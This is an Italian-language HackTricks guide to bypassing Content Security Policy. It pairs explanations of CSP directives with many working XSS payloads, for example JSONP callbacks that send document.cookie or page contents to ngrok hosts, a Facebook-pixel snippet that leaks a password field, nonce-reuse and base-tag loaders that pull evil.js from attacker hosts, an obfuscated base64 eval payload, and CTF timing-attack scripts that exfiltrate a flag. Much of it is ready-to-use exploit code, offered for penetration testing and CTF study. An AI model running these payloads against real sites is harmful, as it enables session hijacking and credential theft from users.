Content Security Policy (CSP) Bypass

Reading time: 33 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cos'è CSP

Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, mirata principalmente a proteggere dagli attacchi come il cross-site scripting (XSS). Funziona definendo e specificando i percorsi e le origini da cui il browser può caricare in modo sicuro le risorse. Queste risorse comprendono vari elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), incluse risorse inline e l'esecuzione di codice da stringa tramite funzioni come eval, setTimeout o setInterval.

L'implementazione di CSP avviene tramite response headers o incorporando meta elements nella pagina HTML. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente qualsiasi violazione rilevata.

  • Implementato tramite response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementato tramite meta tag:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Intestazioni

CSP può essere applicata o monitorata usando queste intestazioni:

  • Content-Security-Policy: Applica la CSP; il browser blocca eventuali violazioni.
  • Content-Security-Policy-Report-Only: Usata per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per i test in ambienti di pre-produzione.

Definizione delle risorse

CSP limita le origini da cui vengono caricati sia i contenuti attivi che passivi, controllando aspetti come l'esecuzione di inline JavaScript e l'uso di eval(). Un esempio di policy è:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direttive

  • script-src: Consente sorgenti specifiche per JavaScript, incluse URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.
  • default-src: Imposta una politica predefinita per il fetching delle risorse quando mancano direttive specifiche.
  • child-src: Specifica le risorse consentite per web worker e contenuti di frame incorporati.
  • connect-src: Restringe gli URL che possono essere caricati usando interfacce come fetch, WebSocket, XMLHttpRequest.
  • frame-src: Restringe gli URL per i frame.
  • frame-ancestors: Specifica quali sorgenti possono incorporare la pagina corrente, applicabile ad elementi come <frame>, <iframe>, <object>, <embed>, e <applet>.
  • img-src: Definisce le sorgenti consentite per le immagini.
  • font-src: Specifica sorgenti valide per i font caricati tramite @font-face.
  • manifest-src: Definisce le sorgenti consentite per i file manifest dell'applicazione.
  • media-src: Definisce le sorgenti consentite per il caricamento di oggetti media.
  • object-src: Definisce le sorgenti consentite per gli elementi <object>, <embed>, e <applet>.
  • base-uri: Specifica gli URL consentiti per il caricamento tramite l'elemento <base>.
  • form-action: Elenca gli endpoint validi per l'invio dei form.
  • plugin-types: Restringe i mime type che una pagina può invocare.
  • upgrade-insecure-requests: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
  • sandbox: Applica restrizioni simili all'attributo sandbox di un <iframe>.
  • report-to: Specifica un gruppo a cui inviare un report se la policy viene violata.
  • worker-src: Specifica sorgenti valide per script Worker, SharedWorker o ServiceWorker.
  • prefetch-src: Specifica sorgenti valide per risorse che saranno caricate o prefetchate.
  • navigate-to: Restringe gli URL verso cui un documento può navigare con qualunque mezzo (a, form, window.location, window.open, ecc.)

Origini

  • *: Permette tutti gli URL tranne quelli con schemi data:, blob:, filesystem:.
  • 'self': Consente il caricamento dallo stesso dominio.
  • 'data': Consente il caricamento di risorse tramite lo schema data (es., immagini codificate in Base64).
  • 'none': Blocca il caricamento da qualsiasi sorgente.
  • 'unsafe-eval': Consente l'uso di eval() e metodi simili, non raccomandato per motivi di sicurezza.
  • 'unsafe-hashes': Abilita specifici gestori di eventi inline.
  • 'unsafe-inline': Consente l'uso di risorse inline come <script> o <style> inline, non raccomandato per motivi di sicurezza.
  • 'nonce': Una whitelist per specifici script inline che usa un nonce crittografico (numero usato una sola volta).
  • Se hai un'esecuzione JS limitata è possibile ottenere un nonce usato all'interno della pagina con doc.defaultView.top.document.querySelector("[nonce]") e poi riutilizzarlo per caricare uno script maligno (se viene usato strict-dynamic, qualsiasi sorgente consentita può caricare nuove sorgenti quindi questo non è necessario), come in:
Carica script riutilizzando il nonce
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Consente gli script con uno specifico hash sha256.
  • 'strict-dynamic': Permette il caricamento di script da qualsiasi sorgente se è stato inserito in whitelist tramite nonce o hash.
  • 'host': Specifica un host specifico, come example.com.
  • https:: Restringe gli URL a quelli che usano HTTPS.
  • blob:: Permette di caricare risorse da Blob URL (es. Blob URL creati via JavaScript).
  • filesystem:: Permette di caricare risorse dal filesystem.
  • 'report-sample': Include un esempio del codice in violazione nel report (utile per il debugging).
  • 'strict-origin': Simile a 'self' ma assicura che il livello di sicurezza del protocollo delle sorgenti corrisponda a quello del documento (solo origini sicure possono caricare risorse da origini sicure).
  • 'strict-origin-when-cross-origin': Invia URL completi per richieste same-origin ma invia solo l'origine quando la richiesta è cross-origin.
  • 'unsafe-allow-redirects': Permette il caricamento di risorse che eseguiranno un redirect immediato verso un'altra risorsa. Non consigliato perché indebolisce la sicurezza.

Regole CSP non sicure

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Payload funzionante: "/><script>alert(1);</script>

self + 'unsafe-inline' tramite Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Questo non funziona, per maggiori informazioni check this.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload funzionante:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Se in qualche modo riesci a far sì che un codice JS consentito crei un nuovo script tag nel DOM con il tuo codice JS, poiché uno script consentito lo sta creando, il nuovo script tag sarà autorizzato ad essere eseguito.

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

Payload funzionante:

html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Mancanza di object-src e default-src

[!CAUTION] > Sembra che questo non funzioni più

yaml
Content-Security-Policy: script-src 'self' ;

Payload funzionanti:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Caricamento file + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

Se puoi caricare un file JS puoi bypass questa CSP:

Payload funzionante:

html
"/>'><script src="/uploads/picture.png.js"></script>

Tuttavia è molto probabile che il server stia validando il file caricato e permetta solamente di caricare tipi di file determinati.

Inoltre, anche se riuscissi a caricare del JS code inside in un file usando un'estensione accettata dal server (es.: script.png) questo non sarebbe sufficiente perché alcuni server, come apache server, selezionano il MIME type del file in base all'estensione e browser come Chrome rifiuteranno di eseguire Javascript all'interno di qualcosa che dovrebbe essere un'immagine. "Per fortuna", ci sono degli errori. Per esempio, in un CTF ho scoperto che Apache non conosce l'estensione .wave, quindi non la serve con un MIME type like audio/*.

Da qui, se trovi una XSS e un file upload, e riesci a individuare un'estensione interpretata male, potresti provare a caricare un file con quella estensione contenente lo script. Oppure, se il server verifica il formato corretto del file caricato, crea un polyglot (some polyglot examples here).

Form-action

Se non è possibile injectare JS, puoi comunque provare a esfiltrare, per esempio, credenziali inserendo un form action (e magari contando sul fatto che i password manager compilino automaticamente le password). Puoi trovare un esempio in questo report. Inoltre, nota che default-src non copre i form actions.

Third Party Endpoints + ('unsafe-eval')

warning

Per alcuni dei payload seguenti unsafe-eval non è nemmeno necessario.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Carica una versione vulnerabile di angular ed esegui JS arbitrario:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + a library with functions that return the window object (check out this post):

tip

Il post mostra che puoi caricare tutte le librerie da cdn.cloudflare.com (o qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte di ciascuna libreria e verificare quali funzioni di quali librerie restituiscono l'oggetto window.

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS da un nome di classe:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Abuso del codice JS di google recaptcha

Secondo this CTF writeup puoi abusare di https://www.google.com/recaptcha/ all'interno di una CSP per eseguire codice JS arbitrario bypassando la CSP:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Altri payloads from this writeup:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

Abuso di www.google.com per open redirect

L'URL seguente reindirizza a example.com (da here):

https://www.google.com/amp/s/example.com/

Abuso di *.google.com/script.google.com

È possibile abusare di Google Apps Script per ricevere informazioni in una pagina all'interno di script.google.com. Come mostrato in questo report.

Endpoint di terze parti + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenari come questo in cui script-src è impostato su self e un dominio specifico è whitelisted possono essere bypassati usando JSONP. Gli endpoint JSONP consentono metodi di callback non sicuri che permettono a un attacker di eseguire XSS, working payload:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee contiene endpoint JSONP pronti all'uso per il bypass del CSP di diversi siti web.

La stessa vulnerabilità si verifica se il trusted endpoint contiene un Open Redirect perché se l'endpoint iniziale è trusted, anche i redirect sono considerati trusted.

Abusi di terze parti

Come descritto nel post seguente, ci sono molti domini di terze parti che potrebbero essere consentiti nel CSP e che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi servizi di terze parti sono:

EntitàDominio consentitoCapacità
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

Se trovi uno qualsiasi dei domini consentiti nel CSP del tuo target, è probabile che tu possa bypassare il CSP registrandoti al servizio di terze parti e, o esfiltrare dati verso quel servizio o eseguire codice.

Ad esempio, se trovi il seguente CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

o

Content-Security-Policy​: connect-src www.facebook.com;​

Dovresti essere in grado di exfiltrate data, similmente a come è sempre stato fatto con Google Analytics/Google Tag Manager. In questo caso, segui questi passaggi generali:

  1. Crea un account Facebook Developer qui.
  2. Crea una nuova app "Facebook Login" e seleziona "Website".
  3. Vai in "Settings -> Basic" e prendi il tuo "App ID"
  4. Nel sito target da cui vuoi exfiltrate data, puoi exfiltrate data usando direttamente il gadget del Facebook SDK "fbq" tramite un "customEvent" e il data payload.
  5. Vai al tuo App "Event Manager" e seleziona l'applicazione che hai creato (nota che l'event manager potrebbe trovarsi in un URL simile a questo: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Seleziona la tab "Test Events" per vedere gli eventi inviati dal tuo sito web.

Poi, sul lato vittima, esegui il seguente codice per inizializzare il Facebook tracking pixel in modo che punti all'app-id dell'account Facebook developer dell'attaccante e inviare un custom event come segue:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, esistono molti altri modi in cui è possibile abusarne. Fai riferimento al blog post citato in precedenza per spiegazioni aggiuntive sugli altri abusi legati a terze parti.

Bypass via RPO (Relative Path Overwrite)

Oltre al reindirizzamento sopra citato usato per aggirare le restrizioni sui percorsi, esiste un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.

Ad esempio, se CSP consente il percorso https://example.com/scripts/react/, può essere aggirato come segue:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Il browser alla fine caricherà https://example.com/scripts/angular/angular.js.

Questo funziona perché per il browser stai richiedendo un file chiamato ..%2fangular%2fangular.js situato sotto https://example.com/scripts/react/, il che è conforme al CSP.

Il browser lo decodificherà, richiedendo effettivamente https://example.com/scripts/react/../angular/angular.js, che è equivalente a https://example.com/scripts/angular/angular.js.

Sfruttando questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole di percorso possono essere bypassate.

La soluzione è non trattare %2f come / lato server, garantendo un'interpretazione coerente tra browser e server per evitare questo problema.

Online Example: https://jsbin.com/werevijewa/edit?html,output

Esecuzione JS in iframe

Iframes in XSS, CSP and SOP

Mancanza di base-uri

Se la direttiva base-uri è assente puoi abusarne per eseguire una dangling markup injection.

Moreover, se la pagina sta caricando uno script usando un percorso relativo (come <script src="/js/app.js">) usando una Nonce, puoi abusare del tag base per far caricare lo script dal tuo server ottenendo una XSS.
If the vulnerable page is loaded with httpS, make use an httpS url in the base.

html
<base href="https://www.attacker.com/" />

AngularJS eventi

Una specifica policy nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto speciale $event, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto $event può essere sfruttato per aggirare la CSP. In particolare, in Chrome, l'oggetto $event/event possiede un attributo path, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto window sempre posizionato alla fine. Questa struttura è fondamentale per le tecniche di escape dalla sandbox.

Inviando questo array al filtro orderBy, è possibile iterarvi sopra, sfruttando l'elemento terminale (l'oggetto window) per invocare una funzione globale come alert(). Lo snippet di codice dimostrativo qui sotto chiarisce questo processo:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Questo snippet evidenzia l'uso della direttiva ng-focus per innescare l'evento, impiegando $event.path|orderBy per manipolare l'array path, e sfruttando l'oggetto window per eseguire la funzione alert(), rivelando così document.cookie.

Trova altri Angular bypasses in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS and whitelisted domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Una policy CSP che consente solo domini specifici per il caricamento di script in un'applicazione Angular JS può essere bypassata tramite l'invocazione di callback functions e di alcune vulnerable classes. Ulteriori informazioni su questa tecnica sono disponibili in una guida dettagliata presente su questo git repository.

Working payloads:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Altri endpoint di esecuzione arbitraria JSONP possono essere trovati in qui (alcuni di essi sono stati cancellati o corretti)

Bypass tramite redirezione

Cosa succede quando CSP incontra una redirezione lato server? Se la redirezione porta a un'origine diversa non consentita, fallirà comunque.

Tuttavia, secondo quanto descritto in CSP spec 4.2.2.3. Paths and Redirects, se la redirezione conduce a un percorso diverso, può aggirare le restrizioni originali.

Ecco un esempio:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Se CSP è impostato su https://www.google.com/a/b/c/d, dato che il percorso è considerato, entrambi gli script /test e /a/test saranno bloccati dal CSP.

Tuttavia, l'URL http://localhost:5555/301 finale verrà reindirizzato lato server a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Poiché si tratta di un reindirizzamento, il percorso non viene considerato, e lo script può essere caricato, aggirando così la restrizione sul percorso.

Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque aggirato.

Pertanto, la soluzione migliore è assicurarsi che il sito non abbia vulnerabilità di open redirect e che non ci siano domini sfruttabili nelle regole CSP.

Bypass CSP with dangling markup

Leggi come spiegato qui.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e img-src * significa che puoi usare nella pagina web qualsiasi immagine proveniente da qualsiasi risorsa.

Puoi bypassare questa CSP esfiltrating the data via images (in questa occasione l'XSS sfrutta una CSRF dove una pagina accessibile dal bot contiene una SQLi, e estrae il flag tramite un'immagine):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Puoi anche abusare di questa configurazione per caricare codice javascript inserito all'interno di un'immagine. Se, per esempio, la pagina permette di caricare immagini da Twitter, potresti creare un'immagine speciale, caricarla su Twitter e abusare di "unsafe-inline" per eseguire un codice JS (come un normale XSS) che caricherà l'immagine, estrarrà il JS da essa e lo eseguirà: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Con Service Workers

La funzione importScripts dei Service Workers non è limitata dal CSP:

Abusing Service Workers

Policy Injection

Ricerca: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Se un parametro inviato da te viene incollato all'interno della dichiarazione della policy, allora potresti alterare la policy in modo che la renda inutile. Potresti consentire script 'unsafe-inline' con uno qualsiasi di questi bypass:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Perché questa direttiva sovrascriverà le direttive script-src esistenti.
Puoi trovare un esempio qui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

In Edge è molto più semplice. Se puoi aggiungere nella CSP solo questo: ;_ Edge scarterebbe l'intera policy.
Esempio: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Time attack

Nota la mancanza della direttiva 'unsafe-inline'
Questa volta puoi far sì che la vittima carichi una pagina sotto il tuo controllo via XSS con un <iframe. Questa volta farai in modo che la vittima acceda alla pagina da cui vuoi estrarre informazioni (CSRF). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi controllare il tempo necessario al caricamento della pagina puoi estrarre le informazioni di cui hai bisogno.

Questa volta verrà estratto un flag: ogni volta che un char è indovinato correttamente tramite SQLi la response impiega più tempo a causa della funzione sleep. Così potrai estrarre il flag:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Tramite Bookmarklets

Questo attacco implica una forma di social engineering in cui l'attaccante convinces the user to drag and drop a link over the bookmarklet of the browser. Questo bookmarklet conterrebbe malicious javascript code che quando drag&dropped o cliccato verrebbe eseguito nel contesto della finestra web corrente, bypassing CSP and allowing to steal sensitive information come cookies o tokens.

Per maggiori informazioni consulta il report originale qui.

CSP bypass restringendo la CSP

In questa CTF writeup, la CSP viene bypassata iniettando all'interno di un iframe consentito una CSP più restrittiva che impediva il caricamento di uno specifico file JS che, poi, tramite prototype pollution o dom clobbering, permetteva di abusare di un altro script per caricare uno script arbitrario.

Puoi restringere la CSP di un Iframe con l'attributo csp:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

In this CTF writeup, è stato possibile tramite HTML injection rendere più restrittiva una CSP così che uno script che preveniva la CSTI venisse disabilitato e quindi la vulnerability became exploitable.
La CSP può essere resa più restrittiva usando HTML meta tags, e gli inline scripts possono essere disabilitati rimuovendo la voce che permette il loro nonce e abilitare specifici inline script via sha:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

Esfiltrazione JS con Content-Security-Policy-Report-Only

Se riesci a far sì che il server risponda con l'header Content-Security-Policy-Report-Only con un valore controllato da te (magari a causa di un CRLF), puoi farlo puntare al tuo server e se inserisci il contenuto JS che vuoi esfiltrare dentro <script> e dato che è molto probabile che unsafe-inline non sia permesso dalla CSP, questo innescherà un errore CSP e parte dello script (contenente le informazioni sensibili) verrà inviata al server tramite Content-Security-Policy-Report-Only.

Per esempio vedi questo writeup CTF.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Leaking informazioni con CSP e Iframe

  • Un iframe viene creato che punta a un URL (chiamiamolo https://example.redirect.com) che è consentito da CSP.
  • Questo URL poi reindirizza a un URL segreto (es., https://usersecret.example2.com) che non è consentito da CSP.
  • Ascoltando l'evento securitypolicyviolation, è possibile catturare la proprietà blockedURI. Questa proprietà rivela il dominio della URI bloccata, leaking il dominio segreto verso cui l'URL iniziale è stato reindirizzato.

È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nel gestire gli iframe rispetto a CSP, portando a potenziali leak di informazioni sensibili a causa di comportamenti non definiti.

Un'altra tecnica consiste nello sfruttare la CSP stessa per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento della CSP per includere domini specifici che vengono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco uno snippet che mostra come la CSP potrebbe essere configurata per facilitare questo metodo:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Monitorando quali richieste vengono bloccate o consentite dalla CSP, si può restringere l'insieme dei caratteri possibili nel sottodominio segreto, arrivando infine a scoprire l'URL completo.

Entrambi i metodi sfruttano le sfumature dell'implementazione di CSP e del comportamento nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leakare informazioni sensibili.

Trick da here.

Tecnologie insicure per bypassare la CSP

Errori PHP quando ci sono troppi parametri

Secondo la last technique commented in this video, inviando troppi parametri (1001 GET parameters anche se si può fare anche con POST params e più di 20 file). Qualsiasi header() definito nel codice PHP del web non verrà inviato a causa dell'errore che questo causerà.

Sovraccarico del buffer di risposta di PHP

PHP è noto per buffering the response to 4096 byte per default. Pertanto, se PHP mostra un warning, fornendo enough data inside warnings, la response sarà sent before the CSP header, causando l'ignoramento dell'header.
Quindi, la tecnica consiste fondamentalmente nel riempire il buffer di risposta con warning in modo che l'CSP header non venga inviato.

Idea from this writeup.

Disabilitare la CSP tramite max_input_vars (headers already sent)

Poiché gli header devono essere inviati prima di qualsiasi output, i warning emessi da PHP possono invalidare chiamate successive a header(). Se l'input utente supera max_input_vars, PHP genera prima un warning di startup; qualsiasi successivo header('Content-Security-Policy: ...') fallirà con “headers already sent”, disabilitando di fatto la CSP e permettendo reflective XSS altrimenti bloccati.

php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];

Esempio:

bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"

# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
